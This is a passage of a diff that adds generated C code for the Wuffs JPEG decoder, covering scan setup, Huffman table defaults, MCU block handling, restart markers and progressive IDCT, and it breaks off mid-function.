++ self->private_impl.f_scan_al = 0u; ++ } else { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_3 = *iop_a_src++; ++ v_c8 = t_3; ++ } ++ if (v_c8 > 63u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); ++ goto exit; ++ } ++ self->private_impl.f_scan_ss = v_c8; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_4 = *iop_a_src++; ++ v_c8 = t_4; ++ } ++ if ((v_c8 > 63u) || (v_c8 < self->private_impl.f_scan_ss)) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); ++ goto exit; ++ } ++ self->private_impl.f_scan_se = v_c8; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_5 = *iop_a_src++; ++ v_c8 = t_5; ++ } ++ if ((((uint8_t)(v_c8 >> 4u)) > 14u) || (((uint8_t)(v_c8 & 15u)) > 13u)) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); ++ goto exit; ++ } ++ self->private_impl.f_scan_ah = ((uint8_t)(v_c8 >> 4u)); ++ self->private_impl.f_scan_al = ((uint8_t)(v_c8 & 15u)); ++ if (self->private_impl.f_scan_ah > 0u) { ++ if (((uint8_t)(self->private_impl.f_scan_ah - 1u)) != self->private_impl.f_scan_al) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); ++ goto exit; ++ } ++ } ++ if (self->private_impl.f_scan_ss == 0u) { ++ if (self->private_impl.f_scan_se != 0u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); ++ goto exit; ++ } else if (self->private_impl.f_scan_ah == 0u) { ++ self->private_impl.choosy_decode_mcu = ( ++ &wuffs_jpeg__decoder__decode_mcu_progressive_dc_high_bits); ++ } else { ++ self->private_impl.choosy_decode_mcu = ( ++ &wuffs_jpeg__decoder__decode_mcu_progressive_dc_low_bit); ++ } ++ } else { ++ if (self->private_impl.f_scan_num_components != 1u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); ++ goto exit; ++ } else if (self->private_impl.f_scan_ah == 0u) { ++ self->private_impl.choosy_decode_mcu = ( ++ &wuffs_jpeg__decoder__decode_mcu_progressive_ac_high_bits); ++ } else { ++ self->private_impl.choosy_decode_mcu = ( ++ &wuffs_jpeg__decoder__decode_mcu_progressive_ac_low_bit); ++ } ++ } ++ } ++ v_i = 0u; ++ while (v_i < self->private_impl.f_scan_num_components) { ++ if ((self->private_impl.f_scan_ss == 0u) && ! self->private_impl.f_seen_dht[((uint8_t)(0u | self->private_impl.f_scan_comps_td[v_i]))]) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ status = wuffs_jpeg__decoder__use_default_huffman_table(self, ((uint8_t)(0u | self->private_impl.f_scan_comps_td[v_i]))); ++ if (status.repr) { ++ goto suspend; ++ } ++ } ++ if ((self->private_impl.f_scan_se != 0u) && ! self->private_impl.f_seen_dht[((uint8_t)(4u | self->private_impl.f_scan_comps_ta[v_i]))]) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); ++ status = wuffs_jpeg__decoder__use_default_huffman_table(self, ((uint8_t)(4u | self->private_impl.f_scan_comps_ta[v_i]))); ++ if (status.repr) { ++ goto suspend; ++ } ++ } ++ v_j = ((uint32_t)(self->private_impl.f_scan_ss)); ++ v_j_max_incl = ((uint32_t)(wuffs_base__u8__min(self->private_impl.f_scan_se, 9u))); ++ while (v_j <= v_j_max_incl) { ++ self->private_impl.f_block_smoothing_lowest_scan_al[self->private_impl.f_scan_comps_cselector[v_i]][v_j] = self->private_impl.f_scan_al; ++ v_j += 1u; ++ } ++ v_i += 1u; ++ } ++ if (self->private_impl.f_scan_num_components == 1u) { ++ wuffs_jpeg__decoder__calculate_single_component_scan_fields(self); ++ } else { ++ v_failed = wuffs_jpeg__decoder__calculate_multiple_component_scan_fields(self); ++ if (v_failed) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); ++ goto exit; ++ } ++ } ++ ++ goto ok; ++ ok: ++ self->private_impl.p_prepare_scan = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_prepare_scan = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_prepare_scan.v_i = v_i; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func jpeg.decoder.use_default_huffman_table ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_jpeg__decoder__use_default_huffman_table( ++ wuffs_jpeg__decoder* self, ++ uint8_t a_tc4_th) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ wuffs_base__slice_u8 v_data = {0}; ++ wuffs_base__io_buffer u_r = wuffs_base__empty_io_buffer(); ++ wuffs_base__io_buffer* v_r = &u_r; ++ const uint8_t* iop_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io0_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ if (a_tc4_th == 0u) { ++ v_data = wuffs_base__make_slice_u8(wuffs_base__strip_const_from_u8_ptr(WUFFS_JPEG__DEFAULT_HUFF_TABLE_DC_LUMA), 29); ++ } else if (a_tc4_th == 1u) { ++ v_data = wuffs_base__make_slice_u8(wuffs_base__strip_const_from_u8_ptr(WUFFS_JPEG__DEFAULT_HUFF_TABLE_DC_CHROMA), 29); ++ } else if (a_tc4_th == 4u) { ++ v_data = wuffs_base__make_slice_u8(wuffs_base__strip_const_from_u8_ptr(WUFFS_JPEG__DEFAULT_HUFF_TABLE_AC_LUMA), 179); ++ } else if (a_tc4_th == 5u) { ++ v_data = wuffs_base__make_slice_u8(wuffs_base__strip_const_from_u8_ptr(WUFFS_JPEG__DEFAULT_HUFF_TABLE_AC_CHROMA), 179); ++ } else { ++ status = wuffs_base__make_status(wuffs_jpeg__error__missing_huffman_table); ++ goto exit; ++ } ++ { ++ wuffs_base__io_buffer* o_0_v_r = v_r; ++ const uint8_t* o_0_iop_v_r = iop_v_r; ++ const uint8_t* o_0_io0_v_r = io0_v_r; ++ const uint8_t* o_0_io1_v_r = io1_v_r; ++ const uint8_t* o_0_io2_v_r = io2_v_r; ++ v_r = wuffs_private_impl__io_reader__set( ++ &u_r, ++ &iop_v_r, ++ &io0_v_r, ++ &io1_v_r, ++ &io2_v_r, ++ v_data, ++ 0u); ++ self->private_impl.f_payload_length = ((uint32_t)((((uint64_t)(v_data.len)) & 65535u))); ++ { ++ wuffs_base__status t_0 = wuffs_jpeg__decoder__decode_dht(self, v_r); ++ v_status = t_0; ++ } ++ v_r = o_0_v_r; ++ iop_v_r = o_0_iop_v_r; ++ io0_v_r = o_0_io0_v_r; ++ io1_v_r = o_0_io1_v_r; ++ io2_v_r = o_0_io2_v_r; ++ } ++ status = v_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; ++ } ++ goto ok; ++ ++ ok: ++ goto exit; ++ exit: ++ return status; ++} ++ ++// -------- func jpeg.decoder.calculate_single_component_scan_fields ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_jpeg__decoder__calculate_single_component_scan_fields( ++ wuffs_jpeg__decoder* self) { ++ uint8_t v_csel = 0; ++ ++ self->private_impl.f_scan_comps_bx_offset[0u] = 0u; ++ self->private_impl.f_scan_comps_by_offset[0u] = 0u; ++ self->private_impl.f_mcu_num_blocks = 1u; ++ self->private_impl.f_mcu_blocks_sselector[0u] = 0u; ++ v_csel = self->private_impl.f_scan_comps_cselector[0u]; ++ self->private_impl.f_mcu_blocks_offset[0u] = self->private_impl.f_components_workbuf_offsets[v_csel]; ++ self->private_impl.f_mcu_blocks_mx_mul[0u] = 8u; ++ self->private_impl.f_mcu_blocks_my_mul[0u] = (8u * self->private_impl.f_components_workbuf_widths[v_csel]); ++ self->private_impl.f_mcu_blocks_dc_hselector[0u] = ((uint8_t)(0u | self->private_impl.f_scan_comps_td[0u])); ++ self->private_impl.f_mcu_blocks_ac_hselector[0u] = ((uint8_t)(4u | self->private_impl.f_scan_comps_ta[0u])); ++ self->private_impl.f_scan_width_in_mcus = wuffs_jpeg__decoder__quantize_dimension(self, self->private_impl.f_width, self->private_impl.f_components_h[v_csel], self->private_impl.f_max_incl_components_h); ++ self->private_impl.f_scan_height_in_mcus = wuffs_jpeg__decoder__quantize_dimension(self, self->private_impl.f_height, self->private_impl.f_components_v[v_csel], self->private_impl.f_max_incl_components_v); ++ return wuffs_base__make_empty_struct(); ++} ++ ++// -------- func jpeg.decoder.calculate_multiple_component_scan_fields ++ ++WUFFS_BASE__GENERATED_C_CODE ++static bool ++wuffs_jpeg__decoder__calculate_multiple_component_scan_fields( ++ wuffs_jpeg__decoder* self) { ++ uint32_t v_i = 0; ++ uint32_t v_h = 0; ++ uint32_t v_v = 0; ++ uint32_t v_hv = 0; ++ uint32_t v_total_hv = 0; ++ uint32_t v_b = 0; ++ uint32_t v_bx_offset = 0; ++ uint32_t v_by_offset = 0; ++ uint32_t v_sibo = 0; ++ uint8_t v_ssel = 0; ++ uint8_t v_csel = 0; ++ ++ v_total_hv = 0u; ++ v_i = 0u; ++ v_b = 0u; ++ v_bx_offset = 0u; ++ v_by_offset = 0u; ++ while (v_i < self->private_impl.f_scan_num_components) { ++ v_h = ((uint32_t)(self->private_impl.f_components_h[self->private_impl.f_scan_comps_cselector[v_i]])); ++ v_v = ((uint32_t)(self->private_impl.f_components_v[self->private_impl.f_scan_comps_cselector[v_i]])); ++ v_hv = (((uint32_t)(self->private_impl.f_components_h[self->private_impl.f_scan_comps_cselector[v_i]])) * ((uint32_t)(self->private_impl.f_components_v[self->private_impl.f_scan_comps_cselector[v_i]]))); ++ self->private_impl.f_swizzle_immediately_c_offsets[v_i] = ((uint32_t)(64u * v_total_hv)); ++ v_total_hv += v_hv; ++ while (v_hv > 0u) { ++ self->private_impl.f_scan_comps_bx_offset[(v_b & 15u)] = ((uint8_t)((v_bx_offset & 3u))); ++ self->private_impl.f_scan_comps_by_offset[(v_b & 15u)] = ((uint8_t)((v_by_offset & 3u))); ++ self->private_impl.f_mcu_blocks_sselector[(v_b & 15u)] = ((uint8_t)(v_i)); ++ v_b += 1u; ++ v_bx_offset += 1u; ++ if (v_bx_offset == v_h) { ++ v_bx_offset = 0u; ++ v_by_offset += 1u; ++ if (v_by_offset == v_v) { ++ v_by_offset = 0u; ++ } ++ } ++ v_hv -= 1u; ++ } ++ v_i += 1u; ++ } ++ if (v_total_hv > 10u) { ++ return true; ++ } ++ self->private_impl.f_mcu_num_blocks = v_total_hv; ++ self->private_impl.f_swizzle_immediately_c_offsets[self->private_impl.f_scan_num_components] = ((uint32_t)(64u * v_total_hv)); ++ v_b = 0u; ++ while (v_b < self->private_impl.f_mcu_num_blocks) { ++ v_ssel = self->private_impl.f_mcu_blocks_sselector[v_b]; ++ v_csel = self->private_impl.f_scan_comps_cselector[v_ssel]; ++ self->private_impl.f_mcu_blocks_offset[v_b] = (self->private_impl.f_components_workbuf_offsets[v_csel] + (8u * ((uint64_t)(self->private_impl.f_scan_comps_bx_offset[v_b]))) + (8u * ((uint64_t)(self->private_impl.f_scan_comps_by_offset[v_b])) * ((uint64_t)(self->private_impl.f_components_workbuf_widths[v_csel])))); ++ self->private_impl.f_mcu_blocks_mx_mul[v_b] = (8u * ((uint32_t)(self->private_impl.f_components_h[v_csel]))); ++ self->private_impl.f_mcu_blocks_my_mul[v_b] = (8u * ((uint32_t)(self->private_impl.f_components_v[v_csel])) * self->private_impl.f_components_workbuf_widths[v_csel]); ++ self->private_impl.f_mcu_blocks_dc_hselector[v_b] = ((uint8_t)(0u | self->private_impl.f_scan_comps_td[v_ssel])); ++ self->private_impl.f_mcu_blocks_ac_hselector[v_b] = ((uint8_t)(4u | self->private_impl.f_scan_comps_ta[v_ssel])); ++ v_sibo = ((uint32_t)(self->private_impl.f_swizzle_immediately_c_offsets[v_csel] + ((8u * ((uint32_t)(self->private_impl.f_scan_comps_bx_offset[v_b]))) + (64u * ((uint32_t)(self->private_impl.f_scan_comps_by_offset[v_b])) * ((uint32_t)(self->private_impl.f_components_h[v_csel])))))); ++ self->private_impl.f_swizzle_immediately_b_offsets[v_b] = wuffs_base__u32__min(v_sibo, 576u); ++ v_b += 1u; ++ } ++ self->private_impl.f_scan_width_in_mcus = self->private_impl.f_width_in_mcus; ++ self->private_impl.f_scan_height_in_mcus = self->private_impl.f_height_in_mcus; ++ return false; ++} ++ ++// -------- func jpeg.decoder.fill_bitstream ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_jpeg__decoder__fill_bitstream( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ uint32_t v_wi = 0; ++ uint8_t v_c8 = 0; ++ uint32_t v_new_wi = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ if (self->private_impl.f_bitstream_ri <= 0u) { ++ } else if (self->private_impl.f_bitstream_ri >= self->private_impl.f_bitstream_wi) { ++ self->private_impl.f_bitstream_ri = 0u; ++ self->private_impl.f_bitstream_wi = 0u; ++ } else { ++ v_wi = (self->private_impl.f_bitstream_wi - self->private_impl.f_bitstream_ri); ++ wuffs_private_impl__slice_u8__copy_from_slice(wuffs_base__make_slice_u8(self->private_data.f_bitstream_buffer, 2048), wuffs_base__make_slice_u8_ij(self->private_data.f_bitstream_buffer, ++ self->private_impl.f_bitstream_ri, ++ self->private_impl.f_bitstream_wi)); ++ self->private_impl.f_bitstream_ri = 0u; ++ self->private_impl.f_bitstream_wi = v_wi; ++ } ++ v_wi = self->private_impl.f_bitstream_wi; ++ while ((v_wi < 2048u) && (((uint64_t)(io2_a_src - iop_a_src)) > 0u)) { ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ if (v_c8 < 255u) { ++ self->private_data.f_bitstream_buffer[v_wi] = v_c8; ++ v_wi += 1u; ++ iop_a_src += 1u; ++ continue; ++ } else if (((uint64_t)(io2_a_src - iop_a_src)) <= 1u) { ++ break; ++ } else if (((uint16_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src) >> 8u)) > 0u) { ++ break; ++ } else { ++ self->private_data.f_bitstream_buffer[v_wi] = 255u; ++ v_wi += 1u; ++ iop_a_src += 2u; ++ } ++ } ++ if (((uint64_t)(io2_a_src - iop_a_src)) > 1u) { ++ if ((wuffs_base__peek_u8be__no_bounds_check(iop_a_src) >= 255u) && (((uint16_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src) >> 8u)) > 0u)) { ++ v_new_wi = (wuffs_base__u32__min(v_wi, 1784u) + 264u); ++ v_new_wi = wuffs_base__u32__min(v_new_wi, (v_wi + self->private_impl.f_bitstream_padding)); ++ if (v_wi < v_new_wi) { ++ wuffs_private_impl__u32__sat_sub_indirect(&self->private_impl.f_bitstream_padding, (v_new_wi - v_wi)); ++ wuffs_private_impl__bulk_memset(&self->private_data.f_bitstream_buffer[v_wi], (v_new_wi - v_wi), 0u); ++ v_wi = v_new_wi; ++ } ++ } ++ } ++ self->private_impl.f_bitstream_wi = v_wi; ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return wuffs_base__make_empty_struct(); ++} ++ ++// -------- func jpeg.decoder.load_mcu_blocks_for_single_component ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_jpeg__decoder__load_mcu_blocks_for_single_component( ++ wuffs_jpeg__decoder* self, ++ uint32_t a_mx, ++ uint32_t a_my, ++ wuffs_base__slice_u8 a_workbuf, ++ uint32_t a_csel) { ++ return (*self->private_impl.choosy_load_mcu_blocks_for_single_component)(self, a_mx, a_my, a_workbuf, a_csel); ++} ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_jpeg__decoder__load_mcu_blocks_for_single_component__choosy_default( ++ wuffs_jpeg__decoder* self, ++ uint32_t a_mx, ++ uint32_t a_my, ++ wuffs_base__slice_u8 a_workbuf, ++ uint32_t a_csel) { ++ uint64_t v_stride16 = 0; ++ uint64_t v_offset = 0; ++ ++ v_stride16 = ((uint64_t)((self->private_impl.f_components_workbuf_widths[a_csel] * 16u))); ++ v_offset = (self->private_impl.f_components_workbuf_offsets[(a_csel | 4u)] + (((uint64_t)(a_mx)) * 128u) + (((uint64_t)(a_my)) * v_stride16)); ++ if (v_offset <= ((uint64_t)(a_workbuf.len))) { ++ wuffs_private_impl__bulk_load_host_endian(&self->private_data.f_mcu_blocks[0], 1u * (size_t)128u, wuffs_base__slice_u8__subslice_i(a_workbuf, v_offset)); ++ } ++ return wuffs_base__make_empty_struct(); ++} ++ ++// -------- func jpeg.decoder.load_mcu_blocks ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_jpeg__decoder__load_mcu_blocks( ++ wuffs_jpeg__decoder* self, ++ uint32_t a_mx, ++ uint32_t a_my, ++ wuffs_base__slice_u8 a_workbuf) { ++ uint32_t v_b = 0; ++ uint8_t v_csel = 0; ++ uint64_t v_h = 0; ++ uint64_t v_v = 0; ++ uint64_t v_stride16 = 0; ++ uint64_t v_offset = 0; ++ ++ v_h = 1u; ++ v_v = 1u; ++ v_b = 0u; ++ while (v_b < self->private_impl.f_mcu_num_blocks) { ++ v_csel = self->private_impl.f_scan_comps_cselector[self->private_impl.f_mcu_blocks_sselector[v_b]]; ++ if (self->private_impl.f_scan_num_components > 1u) { ++ v_h = ((uint64_t)(self->private_impl.f_components_h[v_csel])); ++ v_v = ((uint64_t)(self->private_impl.f_components_v[v_csel])); ++ } ++ v_stride16 = ((uint64_t)((self->private_impl.f_components_workbuf_widths[v_csel] * 16u))); ++ v_offset = (self->private_impl.f_components_workbuf_offsets[((uint8_t)(v_csel | 4u))] + (((v_h * ((uint64_t)(a_mx))) + ((uint64_t)(self->private_impl.f_scan_comps_bx_offset[v_b]))) * 128u) + (((v_v * ((uint64_t)(a_my))) + ((uint64_t)(self->private_impl.f_scan_comps_by_offset[v_b]))) * v_stride16)); ++ if (v_offset <= ((uint64_t)(a_workbuf.len))) { ++ wuffs_private_impl__bulk_load_host_endian(&self->private_data.f_mcu_blocks[v_b], 1u * (size_t)128u, wuffs_base__slice_u8__subslice_i(a_workbuf, v_offset)); ++ } ++ v_b += 1u; ++ } ++ return wuffs_base__make_empty_struct(); ++} ++ ++// -------- func jpeg.decoder.save_mcu_blocks ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_jpeg__decoder__save_mcu_blocks( ++ wuffs_jpeg__decoder* self, ++ uint32_t a_mx, ++ uint32_t a_my, ++ wuffs_base__slice_u8 a_workbuf) { ++ uint32_t v_b = 0; ++ uint8_t v_csel = 0; ++ uint64_t v_h = 0; ++ uint64_t v_v = 0; ++ uint64_t v_stride16 = 0; ++ uint64_t v_offset = 0; ++ ++ v_h = 1u; ++ v_v = 1u; ++ v_b = 0u; ++ while (v_b < self->private_impl.f_mcu_num_blocks) { ++ v_csel = self->private_impl.f_scan_comps_cselector[self->private_impl.f_mcu_blocks_sselector[v_b]]; ++ if (self->private_impl.f_scan_num_components > 1u) { ++ v_h = ((uint64_t)(self->private_impl.f_components_h[v_csel])); ++ v_v = ((uint64_t)(self->private_impl.f_components_v[v_csel])); ++ } ++ v_stride16 = ((uint64_t)((self->private_impl.f_components_workbuf_widths[v_csel] * 16u))); ++ v_offset = (self->private_impl.f_components_workbuf_offsets[((uint8_t)(v_csel | 4u))] + (((v_h * ((uint64_t)(a_mx))) + ((uint64_t)(self->private_impl.f_scan_comps_bx_offset[v_b]))) * 128u) + (((v_v * ((uint64_t)(a_my))) + ((uint64_t)(self->private_impl.f_scan_comps_by_offset[v_b]))) * v_stride16)); ++ if (v_offset <= ((uint64_t)(a_workbuf.len))) { ++ wuffs_private_impl__bulk_save_host_endian(&self->private_data.f_mcu_blocks[v_b], 1u * (size_t)128u, wuffs_base__slice_u8__subslice_i(a_workbuf, v_offset)); ++ } ++ v_b += 1u; ++ } ++ return wuffs_base__make_empty_struct(); ++} ++ ++// -------- func jpeg.decoder.skip_past_the_next_restart_marker ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_jpeg__decoder__skip_past_the_next_restart_marker( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint8_t v_c8 = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_skip_past_the_next_restart_marker; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (true) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 2u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ continue; ++ } else if (wuffs_base__peek_u8be__no_bounds_check(iop_a_src) < 255u) { ++ iop_a_src += 1u; ++ continue; ++ } ++ v_c8 = ((uint8_t)(((uint16_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src) >> 8u)))); ++ if (v_c8 < 192u) { ++ iop_a_src += 2u; ++ continue; ++ } else if ((v_c8 < 208u) || (215u < v_c8)) { ++ break; ++ } ++ v_c8 &= 7u; ++ if ((self->private_impl.f_next_restart_marker == ((uint8_t)(((uint8_t)(v_c8 + 1u)) & 7u))) || (self->private_impl.f_next_restart_marker == ((uint8_t)(((uint8_t)(v_c8 + 2u)) & 7u)))) { ++ break; ++ } else if ((self->private_impl.f_next_restart_marker == ((uint8_t)(((uint8_t)(v_c8 + 7u)) & 7u))) || (self->private_impl.f_next_restart_marker == ((uint8_t)(((uint8_t)(v_c8 + 6u)) & 7u)))) { ++ iop_a_src += 2u; ++ continue; ++ } else { ++ iop_a_src += 2u; ++ break; ++ } ++ } ++ self->private_impl.f_next_restart_marker = ((uint8_t)(((uint8_t)(self->private_impl.f_next_restart_marker + 1u)) & 7u)); ++ ++ ok: ++ self->private_impl.p_skip_past_the_next_restart_marker = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_skip_past_the_next_restart_marker = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func jpeg.decoder.apply_progressive_idct ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_jpeg__decoder__apply_progressive_idct( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__slice_u8 a_workbuf) { ++ uint32_t v_csel = 0; ++ bool v_block_smoothing_applicable = false; ++ uint32_t v_scan_width_in_mcus = 0; ++ uint32_t v_scan_height_in_mcus = 0; ++ uint32_t v_mcu_blocks_mx_mul_0 = 0; ++ uint32_t v_mcu_blocks_my_mul_0 = 0; ++ uint32_t v_my = 0; ++ uint32_t v_mx = 0; ++ uint64_t v_stride = 0; ++ uint64_t v_offset = 0; ++ uint8_t v_stashed_mcu_blocks_0[128] = {0}; ++ ++ wuffs_private_impl__bulk_save_host_endian(&self->private_data.f_mcu_blocks[0], 1u * (size_t)128u, wuffs_base__make_slice_u8(v_stashed_mcu_blocks_0, 128)); ++ v_block_smoothing_applicable = true; ++ v_csel = 0u; ++ while (v_csel < self->private_impl.f_num_components) { ++ if ((self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][0u] >= 16u) || wuffs_jpeg__decoder__top_left_quants_has_zero(self, ((uint32_t)(self->private_impl.f_components_tq[v_csel])))) { ++ v_block_smoothing_applicable = false; ++ } ++ v_csel += 1u; ++ } ++ v_csel = 0u; ++ while (v_csel < self->private_impl.f_num_components) { ++ v_scan_width_in_mcus = wuffs_jpeg__decoder__quantize_dimension(self, self->private_impl.f_width, self->private_impl.f_components_h[v_csel], self->private_impl.f_max_incl_components_h); ++ v_scan_height_in_mcus = wuffs_jpeg__decoder__quantize_dimension(self, self->private_impl.f_height, self->private_impl.f_components_v[v_csel], self->private_impl.f_max_incl_components_v); ++ v_mcu_blocks_mx_mul_0 = 8u; ++ v_mcu_blocks_my_mul_0 = (8u * self->private_impl.f_components_workbuf_widths[v_csel]); ++ if (v_block_smoothing_applicable && (0u != (self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][1u] | ++ self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][2u] | ++ self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][3u] | ++ self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][4u] | ++ self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][5u] | ++ self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][6u] | ++ self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][8u] | ++ self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][8u] | ++ self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][9u]))) { ++ self->private_impl.choosy_load_mcu_blocks_for_single_component = ( ++ &wuffs_jpeg__decoder__load_mcu_blocks_for_single_component_smooth); ++ self->private_impl.f_block_smoothing_mx_max_incl = wuffs_base__u32__sat_sub(v_scan_width_in_mcus, 1u); ++ self->private_impl.f_block_smoothing_my_max_incl = wuffs_base__u32__sat_sub(v_scan_height_in_mcus, 1u); ++ } else { ++ self->private_impl.choosy_load_mcu_blocks_for_single_component = ( ++ &wuffs_jpeg__decoder__load_mcu_blocks_for_single_component__choosy_default); ++ } ++ v_my = 0u; ++ while (v_my < v_scan_height_in_mcus) { ++ v_mx = 0u; ++ while (v_mx < v_scan_width_in_mcus) { ++ wuffs_jpeg__decoder__load_mcu_blocks_for_single_component(self, ++ v_mx, ++ v_my, ++ a_workbuf, ++ v_csel); ++ v_stride = ((uint64_t)(self->private_impl.f_components_workbuf_widths[v_csel])); ++ v_offset = (self->private_impl.f_components_workbuf_offsets[v_csel] + (((uint64_t)(v_mcu_blocks_mx_mul_0)) * ((uint64_t)(v_mx))) + (((uint64_t)(v_mcu_blocks_my_mul_0)) * ((uint64_t)(v_my)))); ++ if (v_offset <= ((uint64_t)(a_workbuf.len))) { ++ wuffs_jpeg__decoder__decode_idct(self, wuffs_base__slice_u8__subslice_i(a_workbuf, v_offset), v_stride, ((uint32_t)(self->private_impl.f_components_tq[v_csel]))); ++ } ++ v_mx += 1u; ++ } ++ v_my += 1u; ++ } ++ v_csel += 1u; ++ } ++ wuffs_private_impl__bulk_load_host_endian(&self->private_data.f_mcu_blocks[0], 1u * (size_t)128u, wuffs_base__make_slice_u8(v_stashed_mcu_blocks_0, 128)); ++ return wuffs_base__make_empty_struct(); ++} ++ ++// -------- func jpeg.decoder.swizzle_gray ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_jpeg__decoder__swizzle_gray( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__slice_u8 a_workbuf, ++ uint32_t a_x0, ++ uint32_t a_x1, ++ uint32_t a_y0, ++ uint32_t a_y1, ++ uint64_t a_stride) { ++ wuffs_base__pixel_format v_dst_pixfmt = {0}; ++ uint32_t v_dst_bits_per_pixel = 0; ++ uint32_t v_dst_bytes_per_pixel = 0; ++ uint64_t v_x0 = 0; ++ uint64_t v_x1 = 0; ++ wuffs_base__table_u8 v_tab = {0}; ++ 